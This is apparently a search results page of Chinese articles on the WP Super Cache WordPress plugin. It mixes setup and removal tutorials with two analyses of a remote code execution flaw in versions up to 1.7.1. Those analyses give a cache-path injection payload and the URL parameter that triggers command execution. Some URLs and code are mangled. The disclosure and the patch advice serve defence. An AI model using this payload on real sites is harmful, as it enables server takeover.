精华内容
下载资源
问答
  • WP Super Cache 和 W3 Total Cache是两款目前WordPress系统上下载和使用率最高的缓存插件,在之前的文章,最火软件也曾经多次提到这两个插件,现在被发现这两个插件同存在了安全漏洞,该漏洞允许远程用户在服务器...
  • WP Super Cache是众多静态缓存插件中最值得推荐的一款,下面将着重介绍他的使用方法。 第一步:安装WP Super Cache 为节省时间,此步骤省略。不会安装WordPress插件的可以自行百度,非常简单。 第二步:...

    WP Super Cache是众多静态缓存插件中最值得推荐的一款,下面将着重介绍他的使用方法。

    第一步:安装WP Super Cache

    为节省时间,此步骤省略。不会安装WordPress插件的可以自行百度,非常简单。

    第二步:配置WP Super Cache

    1、文件夹权限设置

    将wp-content目录权限设置为读写权限,因为后面生成的缓存文件会放在次目录下,可使用FTP工具设置该文件夹属性的权限值为755;

    将WordPress根目录下的wp-config.php和.htaccess两个文件的权限同样设置为可写权限,同时备份好这两个文件,因为此插件会修改这两个文件的内容,如果后面不使用此插件了,可以恢复备份的这两个文件。

    2、配置插件

    进入插件设置置页面,勾选所有带有“推荐”字样的选项,其他选项保持默认即可。

    "当某页面有新评论时,只刷新该页面的缓存" 这一项也要选。

    然后点击更新按钮

    WordPress静态缓存插件WP Super Cache的使用方法

    3、设置完毕后,点击更新按钮,会提示你点击“更新 Mod_Rewrite 规则”按钮,向下滚动找到该按钮并点击。

     

    插件会自动向Wordpress根目录的wp-config.php和.htaccess文件写入相关规则。

    清理缓存及停用插件

    1、清理缓存

    可以定期手动清理缓存文件,打开WP Super Cache插件设置页面,点击“内容”选项卡,点击“删除缓存”。

    2、停用插件

    重复上一步(必须),之后点击“高级”选项卡,取消“启用缓存以便加快访问。 (推荐)”勾选,并点击下面的“更新”按钮,

    3、完全删除插件

    重复上面两步(必须),然后进入插件页面停用WP Super Cache插件,并删除。

    正常情况下删除WP Super Cache插件时,会将之前插件所修改和创建的缓存文件夹一并删除,但也可能有例外。所以,登录Ftp客户端,用之前备份的wp-config.php和.htaccess文件覆盖Wordpress根目录的同名文件,并删除wp-content目录的cache文件夹,这样才能完全卸载并彻底删除缓存文件。

    另外,建议安装网页压缩插件:Autoptimize与WP Super Cache配套使用,可以进一步加快网页打开速度。

    设置Autoptimize插件时,只需要勾选“优化 HTML 代码和优化 CSS 代码”,其它默认即可,不要勾选“优化 JavaScript 代码”否则可能造成主题部分功能不可用,切记!


    展开全文
  • WP Super Cache远程代码执行漏洞分析 0x0漏洞简介 【产品描述】WP Super Cache是WordPress的一个插件,主要用来缓存加速网页数据的。 【受影响版本】<= 1.7.1 【漏洞摘要】管理后台再向缓存配置文件写入数据时...

    WP Super Cache远程代码执行漏洞分析

    0x0漏洞简介

    【产品描述】WP Super CacheWordPress的一个插件,主要用来缓存加速网页数据的。

    【受影响版本】<= 1.7.1

    【漏洞摘要】管理后台再向缓存配置文件写入数据时过滤不严谨导致可以植入恶意代码,进而导致远程代码执行。

    0x1 漏洞复现

    首先登陆管理后台,找到WP Super Cache的设置页面,通常URL / w p − a d m i n / o p t i o n s − g e n e r a l . p h p ? p a g e = w p s u p e r c a c h e & t a b = s e t t i n g s \textcolor{cornflowerblue}{/wp-admin/options-general.php?page=wpsupercache\&tab=settings} /wpadmin/optionsgeneral.php?page=wpsupercache&tab=settings

    在这里插入图片描述

    在缓存路径设置一栏中插入恶意代码:$\textcolor{orange}{’;\$\_GET[c];#}$

    在这里插入图片描述

    点击更新,恶意代码会跟随缓存配置文件的更新一并写入到配置文件wp-cache-config.php中去。

    通过访问当前页面并附上参数 c = c m d \textcolor{orange}{c=cmd} c=cmdcmd表示要执行的命令)即可触发漏洞!

    在这里插入图片描述

    0x3 漏洞分析

    漏洞关键代码位置: / w p − c o n t e n t / p l u g i n s / w p − s u p e r − c a c h e / w p − c a c h e . p h p : 586 \textcolor{orange}{/wp-content/plugins/wp-super-cache/wp-cache.php:586} /wpcontent/plugins/wpsupercache/wpcache.php:586

    if( isset( $_POST[ 'action' ] ) && $_POST[ 'action' ] == 'scupdates' ) {//在判断各数据不为空情况下写入数据
    		if( isset( $_POST[ 'wp_cache_location' ] ) && $_POST[ 'wp_cache_location' ] != '' ) {
                /*
                 * dirname():获取文件(夹)所在的父目录
                 * trailingslashit():保证目录是以/结尾
                 */
    			$dir = realpath( trailingslashit( dirname( $_POST[ 'wp_cache_location' ] ) ) );//先获取原来的缓存路径设置中的缓存位置所在的父目录
    			if ( $dir == false )
    				$dir = WP_CONTENT_DIR . '/cache/';
    			else
                    /*
                     * wpsc_deep_replace():将所有的..替换为\
                     * basename():获取路径尾部名称
                     */
    				$dir = trailingslashit( $dir ) . trailingslashit(wpsc_deep_replace( array( '..', '\\' ), basename( $_POST[ 'wp_cache_location' ] ) ) );
    			$new_cache_path = $dir;
    		} else {
    			$new_cache_path = WP_CONTENT_DIR . '/cache/';
    		}
    		if ( $new_cache_path != $cache_path ) {
    			if ( file_exists( $new_cache_path ) == false )//重命名目录或文件
    				rename( $cache_path, $new_cache_path );
    			$cache_path = $new_cache_path;
    			wp_cache_replace_line('^ *\$cache_path', "\$cache_path = '" . $cache_path . "';", $wp_cache_config_file);//更新cache_path字段的数据
    		}
    ...
    

    w p c a c h e r e p l a c e l i n e ( ) \textcolor{cornflowerblue}{wp_cache_replace_line()} wpcachereplaceline()函数实现在 / w p − c o n t e n t / p l u g i n s / w p − s u p e r − c a c h e / w p − c a c h e − p h a s e 2. p h p : 1183 \textcolor{orange}{/wp-content/plugins/wp-super-cache/wp-cache-phase2.php:1183} /wpcontent/plugins/wpsupercache/wpcachephase2.php:1183

    function wp_cache_replace_line( $old, $new, $my_file ) {
    	if ( @is_file( $my_file ) == false ) {//判断配置文件是否存在
    		if ( function_exists( 'set_transient' ) ) {
    			set_transient( 'wpsc_config_error', 'config_file_missing', 10 );
    		}
    		return false;
    	}
    ...
        $found = false;
    	$loaded = false;
    	$c = 0;
    	$lines = array();
    	while( ! $loaded ) {
    		$lines = file( $my_file );
    		if ( ! empty( $lines ) && is_array( $lines ) ) {
    			$loaded = true;
    		} else {
    			$c++;
    			if ( $c > 100 ) {
    				...
    				return false;
    			}
    		}
    	}
        foreach( (array) $lines as $line ) {
    		if (
    			trim( $new ) != '' &&
    			trim( $new ) == trim( $line )
    		) {
    			wp_cache_debug( "wp_cache_replace_line: setting not changed - $new" );
    			return true;
    		} elseif ( preg_match( "/$old/", $line ) ) {
    			wp_cache_debug( "wp_cache_replace_line: changing line " . trim( $line ) . " to *$new*" );
    			$found = true;
    		}
    	}
    	$tmp_config_filename = tempnam( $GLOBALS['cache_path'], 'wpsc' );//创建一个唯一的文件,如果目录不存在,就会在系统临时目录中创建
    	rename( $tmp_config_filename, $tmp_config_filename . ".php" );
    	$tmp_config_filename .= ".php";
    	$fd = fopen( $tmp_config_filename, 'w' );//打开文件
    	if ( ! $fd ) {
            ...
    	}
    	if ( $found ) {
    		foreach( (array) $lines as $line ) {
    			if ( ! preg_match( "/$old/", $line ) ) {//正则匹配欲修改的字段
    				fputs( $fd, $line );
    			} elseif ( $new != '' ) {
    				fputs( $fd, "$new\n" );//更新字段,恶意代码被植入!
    			}
    		}
    	} else {
    ...
    	}
    	fclose( $fd );
    	rename( $tmp_config_filename, $my_file );//配置文件后缀为php
    ...
    	return true;
    }
    
    • 最终写入文件的数据:
    $cache_path = 'F:\phpstudy_pro\WWW\wordpress\wp-content\cache/';`$_GET[c]`;#/';
    
    • 一路分析下来,该插件将数据写入配置文件的过程中根本没有检查数据的合法性,所以造成了RCE
    展开全文
  • WP Super Cache 安装与设置详解

    千次阅读 2017-08-11 11:03:11
    首先安装WP Super Cache 插件,图中已经非常清晰表明了步骤,常规装插件也是这个套路。 安装完成后激活插件! 激活插件后,进入设置界面。 先“启用缓存功能”然后...
    1. 首先安装WP Super Cache 插件,图中已经非常清晰表明了步骤,常规装插件也是这个套路。

    2. 安装完成后激活插件!

    3. 激活插件后,进入设置界面。

    4. 先“启用缓存功能”然后点击更新按钮,正式启动该插件的缓存功能!

    5. 按照图中所示,选择好红线圈住的地方。其中“压缩页面以便让来访者更快浏览”不要选择,一般wordpress都已经启用了压缩功能,这里注意下就OK了。

    6. 在上一步中选择了“mod_rewrite”缓存模式,点击更新按钮后,那么会出现下图中界面。然后点击“更新 Mod_Rewrite”规则即可。

    7. 进入“预缓存”界面进行设置,按照图中所示设置即可。

    8. 8

      确认是否已经设置成功。使用谷歌浏览器打开网站首页,然后右键“审查元素”,拉倒最底部,看到图中2部分所示的内容,就已经表示设置成功了!

     

    展开全文
  • 0x01 WP Super Cache 介绍 WP Super Cache是WordPress的一个插件,主要用来缓存加速网页数据的。 笔者发现管理后台再向缓存配置文件写入数据时过滤不严谨导致可以植入恶意代码,进而导致远程代码执行。WordPress官方...

    图片

    0x01 WP Super Cache 介绍

    WP Super Cache是WordPress的一个插件,主要用来缓存加速网页数据的。

    笔者发现管理后台再向缓存配置文件写入数据时过滤不严谨导致可以植入恶意代码,进而导致远程代码执行。WordPress官方已经在最新版1.7.2中修复了此漏洞。

    受影响版本:<= 1.7.1

    0x02 漏洞复现

    首先登陆管理后台,找到WP Super Cache的设置页面,通常URL为**/wp-admin/options-general.php?page=wpsupercache&tab=settings**

    图片

    在缓存路径设置一栏中插入恶意代码:’;$_GET[c];#

    图片

    点击更新,恶意代码会跟随缓存配置文件的更新一并写入到配置文件wp-cache-config.php中去。

    通过访问当前页面并附上参数c=cmd(cmd表示要执行的命令)即可触发漏洞!

    图片

    0x03 漏洞分析

    漏洞关键代码:

    if( isset( $_POST[ 'action' ] ) && $_POST[ 'action' ] == 'scupdates' ) {//在判断各数据不为空情况下写入数据  if( isset( $_POST[ 'wp_cache_location' ] ) && $_POST[ 'wp_cache_location' ] != '' ) {            /*             * dirname():获取文件(夹)所在的父目录             * trailingslashit():保证目录是以/结尾             */   $dir = realpath( trailingslashit( dirname( $_POST[ 'wp_cache_location' ] ) ) );//先获取原来的缓存路径设置中的缓存位置所在的父目录   if ( $dir == false )    $dir = WP_CONTENT_DIR . '/cache/';   else                /*                 * wpsc_deep_replace():将所有的..替换为\                 * basename():获取路径尾部名称                 */   $dir = trailingslashit( $dir ) . trailingslashit(wpsc_deep_replace( array( '..', '\\' ), basename( $_POST[ 'wp_cache_location' ] ) ) );   //代码仅仅是修正了目录名,而没有对$_POST[ 'wp_cache_location' ]进行严谨的过滤   //攻击者可以写入恶意数据   $new_cache_path = $dir;  } else {   $new_cache_path = WP_CONTENT_DIR . '/cache/';  }  if ( $new_cache_path != $cache_path ) {   if ( file_exists( $new_cache_path ) == false )//重命名目录或文件    rename( $cache_path, $new_cache_path );   $cache_path = $new_cache_path;   //更新指定字段的数据   wp_cache_replace_line('^ *\$cache_path', "\$cache_path = '" . $cache_path . "';", $wp_cache_config_file);//更新cache_path字段的数据  }...
    

    **wp_cache_replace_line($old, $new, $my_file)**函数的功能是更新指定的字段的数据,这里指定的字段是cache_path,字段数据是’cache_path =’. c a c h e p a t h . ′ ; , 其 中 的 cache_path .';,其中的 cachepath.;cache_path则是来自于$_POST[ ‘wp_cache_location’ ],该数据可控,攻击者可以构造脏数据。

    *wp_cache_replace_line(**$old, $new, $my_file***)****函数的实现:

    function wp_cache_replace_line( $old, $new, $my_file ) { if ( @is_file( $my_file ) == false ) {//判断配置文件是否存在...  return false; }... $found = false; $loaded = false; $c = 0; $lines = array(); while( ! $loaded ) {  $lines = file( $my_file );//读入多行数据  if ( ! empty( $lines ) && is_array( $lines ) ) {   $loaded = true;  }   ... }  foreach( (array) $lines as $line ) {...    } elseif ( preg_match( "/$old/", $line ) ) {    //调试输出信息     wp_cache_debug( "wp_cache_replace_line: changing line " . trim( $line ) . " to *$new*" );     //原配置文件中是存在cache_path字段的,所以程序会走到该分支     $found = true;    } } $tmp_config_filename = tempnam( $GLOBALS['cache_path'], 'wpsc' );//创建一个唯一的文件,如果目录不存在,就会在系统临时目录中创建 rename( $tmp_config_filename, $tmp_config_filename . ".php" ); $tmp_config_filename .= ".php"; $fd = fopen( $tmp_config_filename, 'w' );//打开文件 ... if ( $found ) {  foreach( (array) $lines as $line ) {   if ( ! preg_match( "/$old/", $line ) ) {//正则匹配欲修改的字段    fputs( $fd, $line );   } elseif ( $new != '' ) {    fputs( $fd, "$new\n" );//更新字段,恶意代码由此被植入!   }  } } else {... } fclose( $fd );//关闭文件句柄 rename( $tmp_config_filename, $my_file );//配置文件后缀为php... return true;}
    

    程序在调用wp_cache_replace_line($old, $new, m y f i l e ) ∗ ∗ 时 , ∗ ∗ my_file)**时,** myfile)new是由符号**‘’包裹在内的字符串,而攻击者用相应的符号进行闭合后,就能使得 c a c h e p a t h ∗ ∗ 可 以 是 任 何 攻 击 者 想 要 的 类 型 数 据 。 攻 击 者 构 造 ∗ ∗ ′ ; ‘ cache_path**可以是任何攻击者想要的类型数据。攻击者构造**';` cachepath;_GET[c]`;****#**数据,而插件将数据写入配置文件的过程中根本没有检查数据的合法性,最终写入文件的数据:

    $cache_path = 'F:\phpstudy_pro\WWW\wordpress\wp-content\cache/';`$_GET[c]`;#/';
    

    通过闭合单引号,恶意代码从字符串中逃逸出来,并从url中接受一个参数c,向参数c传递要执行的命令即可触发远程代码执行!

    0x04 漏洞修复方案

    *360漏洞云强烈建议您:*

    1. 进入管理后台,在右侧菜单栏中选择插件。如果插件有新版本会有提示更新,点击更新即可。

      图片

    2. 从官网下载安全版本(>= 1.7.2)

    官网地址:https://wordpress.org/plugins/wp-super-cache/

    0x05 参考链接

    作者:brucy

    https://blog.csdn.net/qq_41252520/article/details/115331809

    0x06 联系我们

    建议您订阅360漏洞云-漏洞情报服务,获取更多漏洞情报详情以及处置建议,让您的企业远离漏洞威胁。

    电话:010-52447660

    邮箱:loudongyun@360.cn

    网址:https://loudongyun.360.cn

    转载自https://mp.weixin.qq.com/s/5hu4QiVAi8vLX31SyZ8AxQ

    展开全文
  • 突然发现wp-super-cache无法预缓存,点击【立即加载预缓存】后没有任何效果,并且垃圾回收定时器也失效了,缓存文件全是几天前的,感觉很奇怪!闲下来的时候,突然想起前些天对博客做的一些优化,于是回头挨个去检查...
  • 我们经常需要面对一个问题就是加载速度的优化,安装的插件越多,对于网站加载速度影响越大,如果你想提升WordPress加载速度,一个简单易行的方法就是使用缓存插件,本文中我们教大家如何用WP Super Cache缓存...
  • 获取 wp-content 读写权限 $ sudo chmod 777 /var/...检查wp-cache-config.php是否存在,若不存在则将./plugins/wp-super-cache/wp-cache-config-sample.php复制到wp-content/中,并重命...
  • 关于WP-Super-Cache教程网上有很多,但大多质量不高无实际作用,今天转载一篇个人认为比较不错的文章。 原文地址:http://blog.az009.com/15209.html 一、安装插件 首先,到wordpress后台插件项中点击安装插件列表...
  • boke112 联盟已经跟大家介绍过WP-Rocket、W3 Total CacheWP Super Cache等插件,今天继续介绍这款支持中文的 WordPress 缓存加速优化插件 WP Fastest Cache,该插件安装和启用都很简单,无需手动修改.htacces 文件...
  • WordPress缓存插件WP Super Cache的使用及常见问题解决
  • WP Super Cache和W3 Total Cache缓存插件都致力于让你的wordpress速度更快,响应更及时。哪一款缓存插件更适合优化我们的WP站点呢?我用了两款插件,谈下体会: 缓存插件很有必要 缓存页面后,速度明显提升,...
  • WordPress 静态缓存插件众多,孰优孰劣,这里不予评判,只说一说使用率比较高的静态缓存插件WP Super Cache的基本使用方法。  插件安装  进入WordPress后台 → 插件 → 安装插件,在“添加插件”页面,搜索“WP ...
  • 都各有各的优缺点,部落当前用的是WP Super cache插件,WP Super cache主要是通过将每一个页面生成静态文件,当用户第二次访问时直接读写该文件即可。 前几天有看到 ouyangfeng.com.cn 博主留言提到了内存缓存...
  • 使用WP Super Cache服务静态站点 (Serve a Static Site with WP Super Cache) The preload mode in WP Super Cache allows you to create super cache static files for all your posts and pages and serve a ...
  • 网上有一些批评wp-super-cache插件的声音,他们认为cos-html-cache或Hyper Cache两款插件优于wp-super-cache。还有人说使用缓存插件会降低网页速度等,ip至少要大于5000等。个人不敢苟同,我认为是他们不会使用强大...
  • 官方参考Nginx 配置Wordpress wp Super Cache缓存插件 nginx服务器无法开启wp Super Cache的Mod_Rewrite缓存模式?额,就下面文章来教你吧。 首先介绍下今天的主角: Nginx 是俄罗斯开发的高性能反向代理服务器。...
  • 而且我们当然也不希望安装过多的插件,所以就我自己来说,我使用了WP Super Cache这个缓存插件,这个插件也自带了一个CDN加速的功能,我们也可以使用WP Super Cache后台自带的CDN功能,更加完美实现博客整站的静态...
  • WP Super Cache 相比 WP-Cache 最大的改进,在于加入了 Super Cache 这一环节。部分页面会根据一定的规则被缓存为 SuperCache,而这个 SuperCache 实质上就是页面本身。通过 Apache mod_rewrite 重定向直接访问这些...
  • ls –l total 0W3 Total Cache or WP Super Cache – which one to use? Is one better than the other? If so, how and why? These are some frequent questions of debate encountered by almost every WordPress ...
  • 本篇教程恰好也是应朋友留言要求写的,因为现在网上搜索出来的WP Super cache教程除了大部分抄袭外,就是09年、10年的老文章了,不适合新版的WP Super cache。 如果你不是使用的Wordpress请略过本篇 免费教程 ,...
  • WordPress优化缓存wp-super-cache

    千次阅读 2015-07-30 18:52:15
    wp-super-cache的作用是增加缓存页面减少服务器压力。 安装过程: 1.下载wp-super-cache插件....
  • 1、在WP Super Cache设置高级选项卡中选择这个选项:然后单击“更新”。 英文是: “Mobile device support. (External plugin or theme required. See theFAQfor further details.) 中文是: 移动设备支持。...
  • 今天遇到一个问题,我的wordpress的wp-admin后台无法进入,找了好长...最后,我把wp-content/cache下面的supercache目录中的内容都删除了,然后就好了。 所以,怀疑是缓存的文件太多的缘故。没有理论验证,仅是猜测。
  • 解决WP Super Cache和WPtouch冲突

    千次阅读 2016-10-24 23:45:57
    首先进入WP Super Cache设置中;点击settings 然后修改以下4各地方; 1.进入高级选中(Mobile device support. (External plugin or theme required. See the FAQ for further details.))点击更新(找不到...
  • apc和opcacheWordPress can be very fast after some effort on performance optimization with the help from its plenty of ... Possible ways include using cache to cut down the number of database queri...
  • WP Super Cache设置教程

    2016-11-13 00:33:11
    本文来源知更鸟http://zmingcx.com/wp-super-cache-tutorial.html 一、准备工作 保证wp-content目录有读写权限,因为之后生成的缓存文件会存放在这个目录中。使用Ftp客户端登录空间,右键wp-content目录属性设置...
  • wp-super-cache.1.4.4

    2015-07-30 19:05:39
    wp-super-cache是WordPress的缓存插件,由并发10到并发1000的质变
  • 全能主机下安装wp-super-cache插件的方法

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 2,196
精华内容 878
关键字:

cachesuperwp